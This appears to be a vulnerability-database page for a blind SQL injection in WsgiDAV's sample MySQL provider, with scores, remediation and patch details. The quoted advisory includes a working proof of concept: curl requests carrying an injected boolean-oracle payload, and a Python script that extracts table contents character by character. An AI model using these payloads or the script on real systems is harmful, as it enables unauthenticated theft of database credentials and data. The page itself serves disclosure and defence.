Skip to main content

WsgiDAV EUVDEUVD-2026-67857

| CVE-2026-55509 HIGH
SQL Injection (CWE-89)
2026-08-28 https://github.com/mar10/wsgidav GHSA-p6gw-4frg-j7jw
8.8
CVSS 4.0 · Vendor: https://github.com/mar10/wsgidav
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover WsgiDAV instance with /db share enabled
  2. Delivery
    Send GET request with SQL-injected key in URL path
  3. Exploit
    Observe HTTP 500 vs 404 boolean oracle responses
  4. Execution
    Binary-search character values via repeated injected conditions
  5. Impact
    Extract full database table contents unauthenticated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that WsgiDAV be configured with a share explicitly mapped to the MySQLBrowserProvider module in wsgidav.yaml or wsgidav.conf - this is a non-default opt-in step; any installation not performing this configuration step is unaffected regardless of WsgiDAV version. The attacker must have network access to the WebDAV HTTP port. If the share is published without authentication (described as common for read shares), exploitation is fully anonymous via a plain HTTP GET request with no write access, special HTTP method, or privileged session required. What limits exploitation beyond the opt-in configuration: (1) attacker must reach the WebDAV port over the network; (2) write and admin database impact depends on the privileges of the database account WsgiDAV uses, not on the injection itself; (3) integer primary key tables are also injectable due to the INTT typo, so no table type is immune.

Impact

The CVSS 4.0 score of 8.8 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N) accurately reflects exploitation conditions for deployments that have enabled the module: no authentication, no special method, and a plain HTTP GET is sufficient. The dominant real-world risk reducer is deployment scope - MySQLBrowserProvider is an explicitly opt-in sample module and default WsgiDAV installations are wholly unaffected. No EPSS data was provided and the CVE is not in CISA KEV, so the breadth of active exploitation beyond the confirmed researcher PoC is unknown. The publicly available extraction PoC (boolean oracle + binary-search script) eliminates the skill barrier for any attacker who can identify a configured instance. VI:L reflects that write or admin impact depends on the privileges of the database account WsgiDAV connects with, not on the injection itself. Overall: low population at risk but full database exposure for those who are.

Exploit ScenarioDerived

An attacker scans for publicly accessible WsgiDAV instances with a /db share and sends GET requests with URL-encoded single quotes in the record key position, observing HTTP 500 versus 404 responses as a boolean oracle. Using the published PoC extraction script - which binary-searches ASCII character values via repeated ASCII(MID(...)) comparisons - the attacker iterates through the target table contents without any credentials, extracting usernames, passwords, and tokens character by character. A fully functional PoC has been publicly confirmed against WsgiDAV 4.3.4.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 28, 2026

Blind SQL injection in WsgiDAV's MySQLBrowserProvider sample module (versions <= 4.3.4) allows unauthenticated network attackers to read arbitrary data from the backing MySQL database via URL path manipulation. The record key segment of the URL is concatenated directly into a WHERE clause without escaping, enabling a boolean status-code oracle that supports full character-by-character data extraction. A secondary typo in the numeric-type check (INTT instead of INT) ensures all primary key types take the vulnerable quoted branch, and a working PoC with complete extraction script has been publicly confirmed. No public exploit identified as confirmed actively exploited (CISA KEV), but the PoC lowers the exploitation bar significantly.

Earlier versions of this analysis (1)
v1 Aug 28, 2026 - 18:33

Blind SQL injection in WsgiDAV's MySQLBrowserProvider sample module (<=4.3.4) allows unauthenticated network attackers to extract arbitrary data from the backing MySQL database via crafted URL path keys. The URL record key is concatenated directly into the WHERE clause without parameterization or escaping; a typo in the numeric-type check (INTT instead of INT) ensures all keys, including integer primary keys, take the injectable quoted branch. A working boolean oracle PoC and full data extraction script are publicly documented in the GitHub advisory - no public exploit in CISA KEV, but exploitation requires no authentication and only a plain HTTP GET.

RemediationAI

Upgrade WsgiDAV to version 4.3.5 or later via pip install --upgrade wsgidav; this is the vendor-released patch per GitHub Advisory GHSA-p6gw-4frg-j7jw. The fix (commit 6f35776) replaces all string-concatenated SQL in mysql_dav_provider.py with parameterized queries, eliminating injection across all affected query sites. If an immediate upgrade is not feasible, the most effective and cleanest compensating control is to remove or comment out the MySQLBrowserProvider mapping from wsgidav.yaml or wsgidav.conf entirely - since the module is non-default, this carries no functional trade-off for the filesystem provider. Alternatively, require authentication on the affected share via WsgiDAV's HTTP digest or domain controller integration, or restrict network access to the WebDAV port at the firewall/reverse proxy layer to trusted clients only; note that neither workaround eliminates the injection, they only reduce the attacker population. The vendor advisory is at https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw.

Affected VersionsENISA

wsgidav < 4.3.5

Affected Packages

pypi wsgidav fix: 4.3.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

WsgiDAV is a Python WSGI-based WebDAV server. The affected component, wsgidav/samples/mysql_dav_provider.py (CPE: pkg:pip/wsgidav), is a sample provider that maps WebDAV share URLs to MySQL table rows. URL paths like /db/users/1 are split into a table name (validated against the DB schema) and a primary key value (passed unsanitized into SQL). The generated query is SELECT id FROM testdb.users WHERE id = '<key>', where <key> comes directly from the URL. A single quote in the key breaks out of the string literal (CWE-89). A code defect - the string INTT instead of INT in the numeric type check - means integer-typed primary keys also use the quoted branch, making them equally injectable. The commit 6f35776c9188f130ab044ce557015d51aaa83500 resolves this by replacing all string-concatenated SQL throughout the module with parameterized queries using %s placeholders and a new _escape_id() helper for identifiers.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/mar10/wsgidav) PRIMARY 8.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.2 HIGH

Network GET is sufficient once module is enabled and share is anonymous; I:L because write impact depends on database account grants, not the injection path itself.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/mar10/wsgidav).

CVSS VectorVendor: https://github.com/mar10/wsgidav

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Aug 28, 2026 - 20:22 NVD
8.8 (HIGH)
CVE Published
Aug 28, 2026 - 18:12 cve.org
HIGH

DescriptionCVE.org

Summary

The sample MySQLBrowserProvider builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.

Note: The MySQLBrowserProvider module is only provided as an example for WsgiDAV and not enabled by default. Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability.

Details

A path like /db/users/1 is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is SELECT id FROM testdb.users WHERE id = '<key>', so a single quote in the key breaks out of the literal and the rest runs as SQL.

The provider's numeric-type check has a typo (INTT instead of INT), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.

The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.

PoC

Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share /db mapped to MySQLBrowserProvider, anonymous access.

Oracle, true then false:

curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271"
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272"

Returns 500 then 404. The only difference is the injected condition ('1'='1' vs '1'='2'), proving the input is executed as SQL.

Data extraction over the same oracle (dump.py):

import urllib.parse, urllib.request, urllib.error
BASE = "http://127.0.0.1:8080/db/users/"

def truthy(cond):
    url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2")
    try:
        urllib.request.urlopen(url); return True
    except urllib.error.HTTPError as e:
        return e.code != 404

def extract(expr, maxlen=128):
    out = ""
    for i in range(1, maxlen + 1):
        if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1
            else: hi = mid
        out += chr(lo)
    return out

print(extract("SELECT GROUP_CONCAT(name,0x3a,secret) FROM users"))
python dump.py

Prints alice:alice-password,bob:bob-token, confirming arbitrary read of table data with no auth.

Impact

Anyone who can read a MySQLBrowserProvider share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges.

Scope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 18 pypi packages depend on wsgidav (17 direct, 1 indirect)

Ecosystem-wide dependent count for version 4.3.5.

Technical POC Analysis

CWE-89 (SQL injection) in the shipped sample provider wsgidav/samples/mysqldavprovider.py (classes MySQLBrowserProvider / MySQLBrowserResource).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

WsgiDAV versions 4.3.4 and earlier contain a blind SQL injection vulnerability in the MySQLBrowserProvider module that allows unauthenticated attackers to extract sensitive data directly from the backing MySQL database over the network. Any organization using this component exposes their database to complete data exfiltration without requiring credentials, making this a critical data confidentiality risk.

Business Impact: Severe
Compensating Controls

Patch available per vendor advisory

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
Low
niche Python WebDAV server, limited enterprise production footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy